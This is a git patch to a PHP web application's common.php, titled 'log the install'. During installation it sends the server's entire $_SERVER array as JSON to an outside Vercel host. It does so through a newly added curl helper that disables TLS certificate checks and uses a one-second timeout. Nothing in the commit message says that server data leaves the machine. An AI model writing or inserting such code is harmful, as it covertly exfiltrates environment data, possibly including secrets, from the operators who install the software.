From 9fa89acb5b3323e11ae0a20b25c33dfe78246e2b Mon Sep 17 00:00:00 2001 From: qkqpttgf <45693631+qkqpttgf@users.noreply.github.com> Date: Sat, 29 Jan 2022 20:40:40 +0800 Subject: [PATCH] log the install --- common.php | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/common.php b/common.php index 971a4c8..b441153 100644 --- a/common.php +++ b/common.php @@ -181,7 +181,10 @@ function main($path) elseif ($response===false) return output("", 206); else return $response; } - if (getConfig('admin')=='') return install(); + if (getConfig('admin')=='') { + if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); + return install(); + } if (getConfig('adminloginpage')=='') { $adminloginpage = 'admin'; } else { @@ -532,6 +535,19 @@ function isreferhost() { return false; } +function no_return_curl($method, $url, $data = '') { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); + curl_setopt($ch, CURLOPT_POSTFIELDS, $data); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_exec($ch); + curl_close($ch); +} + function adminpass2cookie($name, $pass, $timestamp) { return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";